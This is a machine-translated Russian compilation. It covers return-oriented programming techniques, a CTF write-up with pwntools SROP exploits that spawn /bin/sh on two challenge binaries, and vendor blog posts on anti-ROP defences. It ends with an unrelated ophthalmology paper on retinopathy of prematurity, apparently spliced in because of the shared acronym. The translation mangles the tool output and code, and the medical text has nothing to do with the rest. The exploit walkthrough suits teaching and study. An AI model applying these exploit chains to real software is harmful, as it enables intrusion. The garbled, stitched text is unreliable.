Даже если у вас нет pop rspinstruction, есть и другие способы получить контроль над rsp, как и в случае с методами, которые мы видели ранее в этом посте. Помимо всплывающие инструкции, xchgand даже арифметические операции также могут использоваться для управления состоянием rsp; вероятно, есть и другие творческие варианты.

Резюме

В этом посте мы рассмотрели довольно много техник.Давайте быстро напомним, какие техники мы обсуждали, и когда вы захотите их применить.

  • ROP полезен, когда вам нужно обойти средства защиты от эксплойтов, такие как NX или ASLR
  • Идеальные устройства позволяют легко управлять регистрами; один из самых распространенных идеальных гаджетов — это pop ; ret гаджет
  • Когда у вас нет идеальных гаджетов, но вам нужно управлять определенным регистром, вы все равно можете сделать это с помощью xor и xchg гаджеты
  • Гаджеты xor полезны для XOR-операции регистра против самого себя, чтобы обнулить его, и для XOR-операции пустого регистра против управляемого регистра для дублирования содержимого управляемого регистра в пустой
  • Гаджеты xchg также полезны для косвенного управления; вы можете использовать xchg гаджет для обмена содержимым двух регистров
  • Гаджеты произвольной записи, также известные как гаджеты записи куда-нибудь, особенно полезны для переноса содержимого в определенную область памяти. Гаджет «напиши где» может выглядеть mov <[регистр]>, <регистр>
  • Если у вас очень мало места для ROP-цепочки, но достаточно места в другом месте, используйте свое ограниченное пространство, чтобы перенаправить выполнение в большую область, используя опорную точку стека. Гаджеты поворота стека изменяют значение регистра rsp (пример гаджета pop rsp; ret) и может перенаправить выполнение на гораздо большую ROP-цепочку

Как мы видели, ROP в основном заключается в том, чтобы выяснить, чего вы хотите достичь, а затем творчески использовать небольшие строительные блоки для достижения своей цели.

Продвинутые методы ROP. Rop или возвратно-ориентированное программирование — это… | by Aneesh Dogra

Rop или программирование, ориентированное на возврат, — это техника эксплойтов, которая обычно используется для эксплуатации уязвимостей переполнения буфера в программах, работающих с функциями предотвращения эксплойтов, такими как NX, ASLR, RELRO и т. д.

Есть много различных ROP цепочки, некоторые из них включают:

  1. ret2libc : переход непосредственно к адресной «системе» libc.
  2. ret2plt : перейдите к записи таблицы связей процессов для функции, используемой в двоичном файле, и используйте ее для утечки указателей GOT — для прогнозирования версии libc.
  3. ret2csu : используйте гаджеты, доступные в __lib_csu_init, для управления rdx, rsi, rdi, используйте их для вызова системного вызова execve.
  4. Вариант 1 SROP : Используйте системный вызов «sigreturn» и созданный фрейм Sigreturn, чтобы получить контроль над всеми регистрами. (при условии, что у нас есть утечки для указателя / bin / sh и есть гаджеты для управления rax).
  5. SROP вариант 2 : Sigreturn без каких-либо простых устройств для управления rax. Связывание фреймов SROP.

Я недавно говорил о методах ret2libc, ret2plt, ret2csu в своем выступлении для DarkCon

В этом репо есть эксплойты для минимально уязвимой программы. (ret2libc, ret2plt, ret2csu). Теперь поговорим о вариантах SROP:

SROP

Программирование, ориентированное на возврат сигнала: sigreturn (syscall number 15) может использоваться для управления всеми регистрами.

sigreturn

Вариант 1

Для начала давайте посмотрим на пример проблемы из 0x41414141 2021 CTF в последнее время: moving-signal

Нам не нравится давать двоичные файлы, содержащие много информации, поэтому мы решили, что небольшая программа должна сделать для этого вызова.Даже написано в какой-то кастомной сборке. Интересно, как это можно было использовать

автор: Tango

Файл: moving-signal

Вы можете скачать образец с моего диска: здесь. Это крошечная программа, всего пара инструкций:

moving-signal

Программа запускает системный вызов чтения (номер системного вызова 0) со счетом 0x1f4 и записывает наш контент в rsp, поэтому мы можем легко управлять указателем возврата по смещению 8.

Поначалу сложно добиться какого-либо прогресса, так как не так много полезных устройств или каких-либо таблиц связи процессов, записей таблицы GOT.(примечание: rax = 0 в начале программы). Давайте проверим доступные гаджеты с помощью Ropper:

 # ropper -f moving-signal | grep rax 
[ИНФОРМАЦИЯ] Загрузить гаджеты из кеша
[ЗАГРУЗИТЬ] загрузить… 100%
[ЗАГРУЗИТЬ] удалить двойные гаджеты… 100%
0x0000000000041006: добавить байт ptr [rax - 0x77], cl; из 0x48, al; sub esi, 8; mov rdx, 0x1f4; системный вызов;
0x0000000000041006: добавить байт ptr [rax - 0x77], cl; из 0x48, al; sub esi, 8; mov rdx, 0x1f4; системный вызов; ret;
0x0000000000041004: добавить байт ptr [rax], al; добавить байт ptr [rax - 0x77], cl; из 0x48, al; sub esi, 8; mov rdx, 0x1f4; системный вызов;
0x0000000000041003: добавить байт ptr [rax], al; добавить байт ptr [rax], al; mov rsi, rsp; sub RSI, 8; mov rdx, 0x1f4; системный вызов;
0x0000000000041005: добавить байт ptr [rax], al; mov rsi, rsp; sub RSI, 8; mov rdx, 0x1f4; системный вызов;
0x0000000000041005: добавить байт ptr [rax], al; mov rsi, rsp; sub RSI, 8; mov rdx, 0x1f4; системный вызов; ret;
0x0000000000041013: добавить байт ptr [rax], al; системный вызов;
0x0000000000041013: добавить байт ptr [rax], al; системный вызов; ret;
0x0000000000041002: mov dword ptr [rax], 0x48000000; mov esi, esp; sub RSI, 8; mov rdx, 0x1f4; системный вызов;
0x000000000004100d: или байт ptr [rax - 0x39], cl; ret 0x1f4;
0x000000000004100c: out dx, al; или байт ptr [rax - 0x39], cl; ret 0x1f4;
0x0000000000041018: pop rax; ret;

В данном случае:

  1. у нас есть гаджет pop rax, ret, который мы можем использовать для управления rax и вызова sigreturn.
  2. Кроме того, у нас есть строка / bin / sh в самом двоичном файле.
 
gef_ search-pattern "/ bin / sh"
[+] Поиск '/ bin / sh' в памяти
[+] В '/ root / 41414141 / moving-signal' (0x41000–0x42000), разрешение = rwx
0x41250–0x41257 _ «/ bin / sh»
gef_

Теперь мы можем вызвать sigreturn с поддельным фреймом sigreturn для вызова execve (системный вызов номер 59), нам нужно настроить 4 регистра для этого rax, rdi, rsi, rdx. rax = 59, rdi = binsh_ptr, rsi = 0, rdx = 0.

Мы можем использовать pwntools, чтобы создать поддельный фрейм возврата сигнатуры и поместить его в стек.(https://docs.pwntools.com/en/latest/rop/srop.html)

Заключительный эксплойт

Первый вызов sigreturn:

sigreturn

After Sigreturn:

after sigreturn

Мы видим, что rax = 0x3b и rdi, rsi, rdx устанавливаются в «/ bin / sh», 0, 0 соответственно.

 gef_ c 
Продолжение.
процесс 28539 выполняет новую программу: / usr / bin / dash
Предупреждение:
Невозможно вставить точку останова 1.
Невозможно получить доступ к памяти по адресу 0x4100e

Похоже, мы выполнили / bin / sh, давайте попробуем его на двоичном файле вне gdb.Решение

движущихся сигналов

Вариант 2

Для второй задачи у нас есть двоичный файл от NahamCON 2021:

Автор: @ M_alpha # 3534

Я начинаю довольно хорошо разбираться в программировании. Вот базовая программа, которую я написал, которая будет повторять то, что вы говорите.

Вы можете скачать образец с моего диска здесь. Это крошечная программа с функциями «чтения» и «записи» (без таблиц PLT, GOT):

some-действительно-обыкновенная программа (основная) writeread

В этом двоичном файле у нас нет никаких гаджетов для прямого управления rax, таких как последний:

 root @ ctf2-VirtualBox: ~ / naham # ropper -f some-really-обыкновенная-программа | grep "pop rax" 
[ИНФОРМАЦИЯ] Загрузить гаджеты из кеша
[ЗАГРУЗИТЬ] загрузка... 100%
[LOAD] удаление двойных гаджетов . .. 100%
root @ ctf2-VirtualBox: ~ / naham #

Кроме того, у нас нет строки / bin / sh в двоичном файле:

 gef_ search -pattern "/ bin / sh" 
[+] Поиск '/ bin / sh' в памяти
gef_
  1. Уловка состоит в том, чтобы помнить, что rax используется системными вызовами Linux для передачи кодов возврата. Если мы можем контролировать возвращаемое значение любого системного вызова, доступного в двоичном файле, мы можем использовать это для вызова sigreturn.
  2. Но на этом загадка не заканчивается.Помните, что в двоичном файле нет строки / bin / sh. Мы можем использовать существующую функцию записи для записи / bin / sh где-нибудь в сегменте .bss / .data.
  3. В этом случае нам нужно создать 2 разных SigreturnFrames и связать наши вызовы таким образом, чтобы достичь RCE.
  4. Сначала мы записываем / bin / sh в некотором постоянном месте, используя первый кадр, и используем этот указатель во втором кадре для вызова execve.

Вот эксплойт, который все это делает:

. /some-really-normal-program exploit

Чтобы пройти через эксплойт, сначала нужно понять первую фазу эксплуатации: ту часть, где пытаются контролировать rax, и установить ее на sigreturn номер системного вызова и создание поддельного фрейма, чтобы помочь нам вызвать чтение и поворот стека:

 ... 
data = 0x402000 + 0x1f4 # добавлен 0x1f4, чтобы избежать выхода за пределы стека в главном, обратите внимание, что main выполняет sub esp, 0x1f4
# создает фрейм для чтения в .bss
frame = SigreturnFrame (arch = "amd64", kernel = "amd64")
frame.rax = 0 # rax = 0, читать
frame.rdi = 0 # rdi = fd = 0 = stdin
frame.rsi = data # rsi = buff
frame.rdx = len ( pay2) # rdx = count
frame.rsp = data + 8 # сводный стек в постоянный .bss / сегмент данных
frame.rip = syscall_ret # УСТАНОВИТЬ RIP ДЛЯ АДРЕСОВ SYSCALL pay = b "A" * 0x1f4 + b'B '* 8 + p64 (main) + p64 (syscall_ret) + bytes (frame) # sigreturn eax = 15raw_input (' check ')
p. sendafter ("get.", pay)
p.sendafter ("get.", "X" * 15) # 15 символов для управления rax, return of read = количество прочитанных байтов (следовательно, мы будем настраивать rax = 15 после этого

В приведенном выше фрагменте вы можете видеть, что мы сначала отправляем программе 0x1f4 + 8 байтов, чтобы достичь указателя возврата в стеке. Затем мы снова вызываем main (следовательно, снова вызываем чтение). Вызов чтения будет затем слушаем ввод и даем ему 15 символов, чтобы помочь нам контролировать rax. После того, как наш rax будет управляться, мы переходим к гаджету syscall_ret (получил его с помощью ropper):

 0x000000000040100e: syscall; ret; 

Это вызовет sigreturn и pop кадр вне стека, поэтому мы следуем за syscall_ret с поддельным кадром в полезной нагрузке:

  pay = b "A" * 0x1f4 + b'B '* 8 + p64 (main) + p64 (syscall_ret) + bytes ( frame)  

Кадр создается с помощью pwntools, и здесь мы устанавливаем rax = 0 (чтение), rdi = 0 (stdin), rsi = constant_data_segment, rdx = count, rsp = pi vot_stack.

 ... 
# создать кадр для чтения в .bss
frame = SigreturnFrame (arch = "amd64", kernel = "amd64")
frame.rax = 0 # rax = 0, прочитать
frame.rdi = 0 # rdi = fd = 0 = stdin
frame.rsi = data # rsi = buff
frame.rdx = len (pay2) # rdx = count
frame.rsp = data + 8 # сводный стек к константе .bss / сегмент данных
frame.rip = syscall_ret # УСТАНОВИТЬ RIP ДЛЯ АДРЕСОВ SYSCALL

Примечание: для данных задано значение .bss_start + 0x1f4, потому что мы снова перейдем к основному, чтобы управлять rax, а в начале основного у нас есть sub rsp , 1F4h.Чтобы убедиться, что мы не попали в недопустимое местоположение, мы должны установить данные в 0x402000 + 0x1f4

Это установит стек в наше контролируемое постоянное местоположение, и мы можем затем настроить содержимое в этом месте для генерации вторая фаза эксплойта:

 ... 
# кадр для вызова execve
frame2 = SigreturnFrame (arch = "amd64", kernel = "amd64") # СОЗДАНИЕ ФРЕЙМА SIGRETURN
frame2. rax = 59
frame2.rdi = данные # rdi = binsh_ptr
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret # УСТАНОВИТЬ RIP TO SYSCALL ADDRESS pay2 = b "/ bin / sh \ 0" + p64 (main) + p64 (syscall_ret) + bytes (frame2) # это полезная нагрузка для настройки стека с использованием read p.sendafter ("X" * 15, pay2)
p.sendafter ("get.", "Y" * 15)
p.interactive ()
...

В вызове чтения мы устанавливаем строку / bin / sh по постоянному адресу ( 0x402000 + 0x1f4 ). Кроме того, мы настроили стек вызовов, чтобы позволить нам вызывать «main» и настроить второй фрейм, чтобы помочь нам перейти к нему после того, как rax будет управляться «read» в «main».Это действительно вызовет execve с нашим указателем / bin / sh, что приведет к созданию оболочки.

resolve_orinary exploit

SROP — действительно мощный метод для получения RCE, даже когда у нас очень ограниченные гаджеты, доступные в двоичном файле. Надеюсь, эта статья проливает свет на то, когда и чем это полезно. Спасибо за прочтение!

Anti-ROP: защита от движущихся целей

Недавнее объявление Intel и Microsoft об их планах по использованию технологии контроля потока (CET) заставило некоторых экспертов попрощаться с атаками с помощью возвратно-ориентированного программирования (ROP).Но другие задаются вопросом, действительно ли это аппаратное решение может искоренить заражение вредоносными программами, основанными на ROP-атаках. Новое программно-ориентированное решение от IBM Research — Хайфа, однако, может обещать немедленную защиту от ROP.

Почти 90 процентов программных атак, основанных на эксплойтах, используют в цепочке атак враждебную технику ROP. За прошедшие годы было проведено много исследований, чтобы найти решение. До сих пор доступные методы имели ограниченный успех, и ни один из них не обеспечивал эффективного профилактического подхода.В IBM Research — Хайфа мы разработали методику защиты от ROP. Это продвинутый процесс перетасовки, который изменяет ключевые элементы кода, что затрудняет использование уязвимостей и получение контроля над программой.

Итак, как работает ROP и как наш новый подход с «движущейся целью» останавливает ROP-атаку до того, как она произойдет?

Разрыв цепи атаки

ROP — это метод эксплойта, который позволяет злоумышленнику получить контроль над потоком программы, разбивая стек вызовов для выполнения последовательностей инструкций.Злоумышленник заимствует гаджеты или небольшие фрагменты кода у взломанной программы для выполнения вредоносного кода.

Киберпреступники используют ROP, потому что он может легко обойти предотвращение выполнения данных (DEP), технологию, реализованную в аппаратном и программном обеспечении для предотвращения внедрения и выполнения кода. Если мы сможем прервать фазу ROP цепной атаки, мы сможем разорвать всю цепочку атаки. Это предотвращает выполнение вредоносного кода.

Anti-ROP выполняет именно этот процесс вытеснения. Это предотвращает угон до того, как это произойдет.

Мягкие пятна в программном обеспечении

Одним из многих методов, разработанных для предотвращения ROP-атак, является рандомизация разметки адресного пространства (ASLR), процесс, реализованный почти во всех операционных системах. ASLR рандомизирует адресные базы разделов, заставляя злоумышленника угадывать местонахождение гаджетов. Однако некоторые части и файлы не рандомизированы, оставляя слабые места в программе, которые злоумышленники могут использовать для вызова своих злонамеренных намерений.

Microsoft и Intel недавно объединили усилия для усиления защиты оборудования от широкого использования ROP. Они сотрудничали, чтобы интегрировать CET в оборудование Intel. Он использует теневой стек и указатели, чтобы предотвратить злоупотребление легитимным кодом киберпреступниками.

Спецификация CET «устанавливает направление намерения использовать фиксированные аппаратные архитектуры центрального процессора для создания средств управления, помогающих предотвращать и препятствовать атакам с повторным использованием кода», — пояснил Мэтью Розенквист, стратег Intel по кибербезопасности, как цитирует The Register .

Решение не будет развернуто во всех системах и не будет иметь обратной совместимости. Это требует обновления аппаратных платформ и перекомпиляции системы программного обеспечения.

Движущиеся цели предотвращают ROP-атаки

Программное решение для защиты от ROP прост в установке и совместимо со всеми платформами и операционными системами. Нет необходимости обновлять или модифицировать систему. Проще говоря, это тип расширенного процесса рандомизации, в котором рандомизируется весь участок кода.

Злоумышленники, создающие ROP-атаку, предполагают, что нужные им гаджеты имеют абсолютные адреса или сдвинуты на постоянные байты. Если они могут обнаружить смещение одного гаджета, они могут обнаружить смещение всех гаджетов.

Вот где приходит наше новое решение: это защита от движущейся цели, гарантирующая, что обнаружение смещения одного устройства не выявит остальных, всегда опережая злоумышленника на несколько шагов. Наше решение может быть реализовано в Windows, Linux и других операционных системах. Он анализирует файлы PE / ELF, строит блоки, состоящие из ряда функциональных блоков, и реорганизует их.

Каждая фаза процесса может быть запущена онлайн или офлайн. Созданный рандомизированный файл имеет ту же функциональность, что и исходный файл, поэтому процесс рандомизации требует вмешательства в структуру файла, исправления заголовков, обновления ветвей и таблиц и т. Д.

Наше решение заставляет злоумышленника угадать все адреса расположения устройств. В отличие от технологии ASLR, обнаружение гаджета в одном блоке определенно не раскрывает адреса других гаджетов.Кроме того, для нашего решения не требуется исходный код программы. Он поддерживает устаревший код, имеет обратную совместимость и не требует аппаратной поддержки.

Архитектура и развертывание

Решение против ROP может быть развернуто различными способами и формами. Его можно установить как сторонний поставщик решений, подключить к системе и многое другое. Мы уже внедрили эту технику на машинах ряда пользователей Windows.

Другой вариант развертывания

Новый уровень безопасности

Решение для защиты от ROP может блокировать атаки нулевого дня с повреждением памяти.Кроме того, он может обнаруживать попытки атак практически без снижения производительности и без необходимости устанавливать новые онлайн-компоненты. Наши оценки показали, что это программное решение может защитить от широкого спектра источников угроз, которые используют ROP в своей цепочке атак, обеспечивая новый уровень безопасности для различных приложений.

Безопасность

Anti-ROP также включается в проект SHARCS, консорциум, финансируемый ЕС, нацеленный на обеспечение сквозной безопасности всего аппаратного и программного стека.В этом контексте анти-ROP используется для обеспечения более высокого уровня защиты систем, не позволяя хакерам использовать хорошо известный устаревший код для создания атак.

ROP умирает, а ваши средства защиты от эксплойтов находятся в режиме жизнеобеспечения.

Слишком часто защитное сообщество делает ошибку, сосредотачиваясь на том, что, не понимая, почему. Такой образ мышления часто приводит к разработке технологий с ограниченной эффективностью и еще более коротким сроком хранения.Снова и снова мы видели, как недавно разработанные средства защиты программного обеспечения обходили вскоре после их выпуска. Это особенно верно в отношении защиты от эксплойтов и, в частности, возвратно-ориентированного программирования (ROP). Короче говоря, текущая защита нацелена на устаревшие наступательные техники.

Наступательное сообщество давно знает кое-что, чем я хотел бы поделиться с вами. ROP умирает, а средства защиты от эксплойтов ROP не так эффективны, как вы думаете.

Краткая история ROP

Во-первых, давайте сделаем шаг назад и посмотрим, что такое ROP и почему многие сторонние продукты безопасности имеют защиту ROP.Более десяти лет назад производители процессоров начали добавлять аппаратное обеспечение разрешений на уровне страниц. Эта поддержка позволяла операционным системам ограничивать выполнение кода в любом месте памяти, что является распространенной техникой эксплойтов. Microsoft реализовала это ограничение в Windows XP Service Pack 2 и назвала его Data Execution Prevention, или DEP.

Когда Microsoft Windows и другие операционные системы представили эти контрмеры, исследователи быстро разработали творческие способы их обхода. В своей основополагающей статье Себастьян Крамер излагает то, что в конечном итоге будет называться Return-Oriented Programming.Статья Крамера была опубликована 28 сентября 2005 г., вскоре после того, как DEP и аналогичные меры по смягчению последствий стали мейнстримом.

С момента публикации в десятках исследовательских работ, презентаций на конференциях и эксплойтах в той или иной форме использовалась идея Крамера о повторном использовании легитимного кода для обхода DEP, и ROP стала врагом номер один.

Методы создания «устройств» ROP изменились за последние десять лет, но основная цель остается. Создайте стек законных участков кода, заканчивающихся возвратом, который при выполнении дает злоумышленнику возможность выполнить произвольную полезную нагрузку.

После десятилетнего изучения защитники пришли к пониманию ключевых артефактов для обнаружения и предотвращения изменения разрешений или выполнения кода этими гаджетами. Это привело к появлению дополнительных решений безопасности, таких как собственный пакет Microsoft «Enhanced Mitigation Experience Toolkit» или EMET. Но пока поставщики средств безопасности работали над проблемой ROP, злоумышленники преодолевали более серьезную проблему — ASLR.

Рандомизация разметки адресного пространства (ALSR) — это защитный метод случайного присвоения виртуальных адресов коду и данным в запущенной программе.ASLR направлен на то, чтобы помешать злоумышленнику использовать предыдущие знания адресного пространства для получения преимущества и выполнения вредоносного кода. Это оказалось чрезвычайно эффективным в плане «поднятия планки» эксплуатации и является одной из наиболее серьезных исследовательских задач при создании эксплойтов с оружием.

Microsoft представила ASLR в Windows Vista, но не реализовала его полностью до 2011 года, когда они перекомпилировали все библиотеки, чтобы воспользоваться этим преимуществом. Несмотря на то, что ASLR доказал свою эффективность, он должен полностью применяться ко всем частям данных в программе.Из-за этого система разваливается, если одна часть данных не защищена. До недавнего времени разработчики эксплойтов злоупотребляли этой лазейкой, чтобы обойти средства защиты.

По мере того, как ASLR улучшился за счет «полного» ASLR, злоумышленникам необходимо было прочитать память в своем коде эксплойта, чтобы адекватно определить, какие данные использовать для успешного эксплойта. Этот шаг в разработке эксплойта — один из самых трудоемких, но также и самый мощный, потому что во многих случаях вы можете не только создать эксплойт для чтения целевого адресного пространства и обхода ASLR, вы также можете записать его в целевое адресное пространство.

Короче говоря, возможность чтения и записи в память делает ROP ненужным и является причиной смерти возвратно-ориентированного программирования.

ROP умирает

В 2014 году Ян Ю представил «Напиши один раз, пошли куда угодно» на Blackhat USA. Эта презентация — отличная демонстрация использования «примитива» чтения и записи для внесения небольшого изменения, оказывающего значительное влияние. В своей презентации и доказательстве концепции Ю искажает флаг «safemode» Jscript.dll, хранящийся в памяти, чтобы разрешить использование WScript.Shell COM-метод. Этот метод может использоваться для выполнения команд оболочки и обычно защищен в Internet Explorer по очевидным причинам. Однако, изменив значение «safemode» в памяти, злоумышленник может обойти это ограничение и выполнить произвольные команды, не прибегая к методам возвратно-ориентированного программирования.

Вскоре после презентации исследователи использовали идею Юя для эксплуатации уязвимости VBScript (CVE-2014-6332). Опять же, разработчик эксплойтов преодолел сложную проблему получения произвольного доступа к памяти для чтения и записи, а затем использовал это для получения доступа ко всей системе без отключения каких-либо программных средств защиты, таких как EMET.

Ранее в этом году компонент набора эксплойтов Angler нацелил уязвимость в Silverlight (CVE-2016-0034), используя аналогичный подход. Сначала активируйте уязвимость, которая обеспечивает программное чтение и запись виртуальной памяти, а затем перезапишите важные данные, чтобы добиться выполнения кода. В этом подвиге писатели были очень умны. Вместо того, чтобы немного перевернуть, как в предыдущих примерах, они создали законный код в исполняемой памяти с помощью механизма JIT Silverlight. Чтобы добиться выполнения кода без ROP, они перезаписали свою законную кодовую страницу своей полезной нагрузкой, сняв с себя ограничения DEP, и EMET не стал мудрее.

Наконец, давайте посмотрим на тенденцию в нескольких популярных наборах эксплойтов, которые демонстрируют более широкое использование методов «без ROP», таких как предыдущие примеры, для эксплойтов программного обеспечения. Мой коллега Мэтт Списак проницательно связал изменение после CVE-2015-5119 с техникой, первоначально разработанной исследователем Виталием Тороповым. Техника Торопова, как и предыдущая Silverlight, использует хитроумный метод обхода DEP без необходимости использования ROP. Когда методика стала достоянием общественности благодаря утечке HackingTeam, авторы набора эксплойтов быстро обновили свои эксплойты и с тех пор полностью обошли EMET.

Эти примеры демонстрируют некоторые способы, которыми новые методы эксплойтов менее зависимы от возвратно-ориентированного программирования. Многие другие методы существуют публично, и, как показала утечка HackingTeam, существуют и частные и, следовательно, неизвестные методы. Если вам нравится искусство эксплуатации, я настоятельно рекомендую предыдущие статьи, в которых подробно описана каждая техника.

Приведенный выше график набора эксплойтов действительно хорошо иллюстрирует снижение полезности ROP. Это также прекрасно демонстрирует сложность защиты от эксплойтов на основе ROP.Одно изменение в тенденциях техники эксплойтов может иметь драматический и длительный эффект.

На пути к более раннему обнаружению

По мере того, как злоумышленники отошли от ROP к более продвинутой и, откровенно говоря, более сложной для обнаружения техники выполнения полезных нагрузок, что мы можем сделать?

Недавно такие поставщики, как Microsoft, осознали, что защиты ROP недостаточно. В Visual Studio 2015 Microsoft представила Control Flow Guard (CFG). Этот новый компилятор направлен на предотвращение уязвимостей, пытаясь исключить возможность использования определенных классов уязвимостей.К сожалению, чтобы использовать CFG, код должен быть перекомпилирован с использованием последней версии компилятора и опций. В качестве альтернативы мы представили аналогичный подход в последней версии нашего продукта, который работает с любым программным обеспечением без необходимости перекомпиляции. Так почему же Microsoft и Endgame вложили средства в блокировку потока управления?

За прошедшие годы отрасль пришла к выводу, что устранить уязвимости невозможно. Мы также знаем, что авторы эксплойтов невероятно креативны. Самое большое влияние, которое мы можем оказать на успех эксплойтов, — это ограничить возможность творческих обходов.Чтобы упростить, эксплойты должны активировать уязвимость, а затем «что-то делать». Решения по борьбе с эксплойтами должны разрушать это «что-то» на ранних стадиях эксплуатации, чтобы сохранить преимущество.

Для демонстрации рассмотрим следующий рисунок, который иллюстрирует высокоуровневые этапы эксплойта.

Эта прогрессия подчеркивает, что настоящая защита должна сражаться на стадии «эксплуатации» атаки. На этом этапе у защитников все еще есть преимущество в предотвращении успешной эксплуатации.К сожалению, большинство продуктов по предотвращению эксплойтов по-прежнему сосредоточены на стадии «после эксплуатации». К тому времени атакующий почти всегда побеждает. В постэксплуатационном режиме злоумышленник обычно имеет возможность выполнить некоторый код в целевой системе или получить адекватный контроль над программой. Так обстоит дело с методами возвратно-ориентированного программирования. На этом этапе оборона проиграла. Вместо этого настоящая защита должна сосредоточиться на борьбе на стадии «эксплуатации» атаки. На этом этапе защитники по-прежнему имеют преимущество в предотвращении успешной эксплуатации и могут помешать злоумышленникам достичь своих целей.

Endgame решает проблему иначе, чем большинство поставщиков. Как и Microsoft, мы считаем, что защита потока управления — это первый шаг на пути к более эффективному предотвращению. Однако мы хотим, чтобы клиенты могли воспользоваться преимуществами этой технологии без необходимости перекомпилировать свой код.

Для этого мы разработали новую концепцию, которую мы называем целостностью потока управления с аппаратной поддержкой, или HA-CFI. Эта технология использует аппаратные функции, доступные в процессорах Intel, для мониторинга и предотвращения эксплуатации в режиме реального времени с управляемыми накладными расходами.Используя аппаратные функции, мы можем обнаруживать эксплойты до того, как они достигнут стадии «после эксплуатации», и обеспечивать более надежную защиту, в то время как защита по-прежнему имеет преимущество.

Заключение

На данный момент средства защиты ROP все еще обеспечивают некоторую защиту, особенно в обычных и менее сложных эксплойтах, или когда чтение и запись в память могут быть невозможны. Однако его смерть неизбежна, и это должно признать сообщество безопасности.Сообщество не должно поддаваться ложному чувству безопасности, в то время как большое количество успешных атак остается незамеченным.

Защита от эксплойтов следующего поколения должна перейти к обнаружению и предотвращению шаблонов эксплуатации на ранних стадиях процесса, чтобы сохранить защитное преимущество, необходимое для ограничения творческих способностей авторов эксплойтов и их эффективной блокировки. В Endgame мы понимаем хрупкость мер предотвращения «после эксплуатации». Хорошие средства защиты от эксплойтов значительно уменьшают возможности злоумышленников.Если вы хотите услышать больше, приходите и ознакомьтесь с последним исследованием, которое мы представляем этим летом в Blackhat USA, под названием «Захват уязвимостей нулевого дня с помощью ИДЕАЛЬНО размещенных аппаратных ловушек». Если вы не сможете приехать в Вегас, я также проведу веб-семинар по этой теме 17 августа.

Это захватывающее время для предотвращения эксплойтов, поскольку поставщики программного обеспечения продолжают вносить важные изменения, снижающие влияние уязвимостей, а поставщики средств безопасности, такие как Endgame, продвигают новейшие технологии в области обнаружения и предотвращения сторонних угроз.Хотя ROP и средства защиты от него могут показывать свой возраст, все еще есть много возможностей для новых и эффективных решений проблемы эксплойтов.

Как мы можем остановить кибератаки ROP?

IBM недавно анонсировала программно-ориентированное решение, помогающее искоренить атаки вредоносного ПО с возвратным программированием (ROP). Вредоносные программы ROP представляют собой серьезную и растущую проблему в отрасли.Коварные хакеры будут использовать фрагменты кода из других надежных программ и соединять их вместе для создания своих атак. Этот метод стал очень популярным и эффективным методом борьбы с ведущими вредоносными программами.

В статье Security Intelligence говорится, что «почти 90 процентов программных атак, основанных на эксплойтах, используют в цепочке атак враждебную технику ROP». В статье также упоминается блог, который я написал в июне, о том, как McAfee и Microsoft разработали аппаратное решение.Ведущие компании стремятся предотвратить подобные атаки.

Эта проблема реальна и, вероятно, станет излюбленным методом злоумышленников из-за ее эффективности и скрытности. Поскольку вредоносная программа ROP использует части доверенного кода, ее очень сложно обнаружить и остановить. В прошлом программные решения пытались решить эту проблему, но в основном безуспешно. Программное обеспечение для борьбы с программным обеспечением — это слишком даже борьба; злоумышленникам нужно найти только один способ обойти превентивные решения, чтобы победить.Я надеюсь, что решение IBM принесет положительный эффект, но меня беспокоит его жизнеспособность в долгосрочной перспективе.

В конце концов, я считаю, что будущее ROP-безопасности будет основано на функциях, встроенных в программное обеспечение, операционные системы, виртуальные машины и даже микропрограммное обеспечение. Он будет расположен в самом аппаратном процессоре. Оборудование остается вне зоны маневрирования программных хакеров и, таким образом, может дать определенное преимущество для защиты системы от атак на основе ROP. Архитектура может быть спроектирована так, чтобы дать преимущества для безопасных методов вычислений, помочь операционной системе быть более безопасной и компенсировать уязвимое программное обеспечение.

Независимо от того, где находится решение, для новаторских умов очень важно продолжать работать над тем, чтобы избавиться от ROP-атак.

Хотите узнать больше? Следуйте за мной в Twitter (@Matt_Rosenquist) и LinkedIn, чтобы узнать о том, что происходит в сфере кибербезопасности.

Хирургическое лечение на поздних стадиях ретинопатии недоношенных; Наш опыт

J Ophthalmic Vis Res. 2009 июл; 4 (3): 185–190.

Глазная больница Фараби, Тегеранский медицинский университет, Тегеран, Иран

Мохаммад Риази-Исфахани, доктор медицины.Доцент офтальмологии; Центр исследования глаз, Глазная больница Фараби, площадь Казвин, Тегеран 13366, Иран; Тел .: +98 21 55421006, Факс: +98 21 55416134; e-mail: moc.oohay@imihafizair

Поступило 12 марта 2009 г .; Принято 15 июня 2009 г.

Эта статья цитировалась в других статьях в PMC.

Abstract

Ретинопатия недоношенных — потенциально слепящее состояние. В этой статье мы описываем хирургическое лечение поздних стадий заболевания (стадии 4 и 5). Показания, варианты и альтернативные методы описаны с помощью обзора статей и нашего личного опыта.

Ключевые слова: Ретинопатия недоношенных (РН), хирургическая техника, пломбирование склеры; Витрэктомия

ВВЕДЕНИЕ

Ретинопатия недоношенных (ROP) — это предотвратимое, но потенциально слепящее состояние.1 Недоношенных детей обследуют в нашем центре с 1997 года, и, к сожалению, общая частота ROP и поздних стадий (4 и 5) заболеваемость увеличивается2–4. Несмотря на улучшение протоколов скрининга, периферической лазерной абляции, микрохирургических методов и инструментов, ROP все еще прогрессирует до отслоения сетчатки (RD) и слепоты в 15–30% всех пораженных глаз.5,6 Продвинутые стадии ROP (4 и 5) обычно требуют хирургического вмешательства. 7 Недоношенным детям с ROP необходимо своевременное лечение из-за критического периода развития зрения 8

Описано несколько процедур для лечения ROP, связанных с ROP, включая витрэктомию на открытом воздухе, коробление склеры, закрытую витрэктомию и ленсэктомию с пломбированием склеры или без него. и, в последнее время, витрэктомия с сохранением линз без коробления склеры9. Здесь мы представляем обзор вариантов и методов хирургического лечения поздних стадий ROP и описываем наш опыт в этом отношении.

СКЛЕРАЛЬНОЕ ИЗГНАНИЕ

Склеральное пломбирование — хорошо зарекомендовавший себя метод восстановления РН, а также используется для РН, связанных с РН. Он механически повторно прикрепляет сетчатку, противодействуя силам, оказывающим тягу на сетчатку.10 Хотя существуют разногласия по поводу выбора склерального пломбирования по сравнению с витрэктомией11-18 для стадии 4 ROP, пломбирование склеры все еще используется, особенно когда тракция существует кпереди от экватора.19

Техника пломбирования склеры у наших пациентов включает установку окружающего экзопланта (2.5 мм сплошная силиконовая лента №240) как можно ближе к выступу. Ремешок фиксируется интрасклеральным полиэфирным швом 5-0 и затягивается для достижения эффекта пряжки средней высоты. Поскольку субретинальный дренаж жидкости обычно не выполняется, парацентез передней камеры обычно необходим для смягчения глаза.

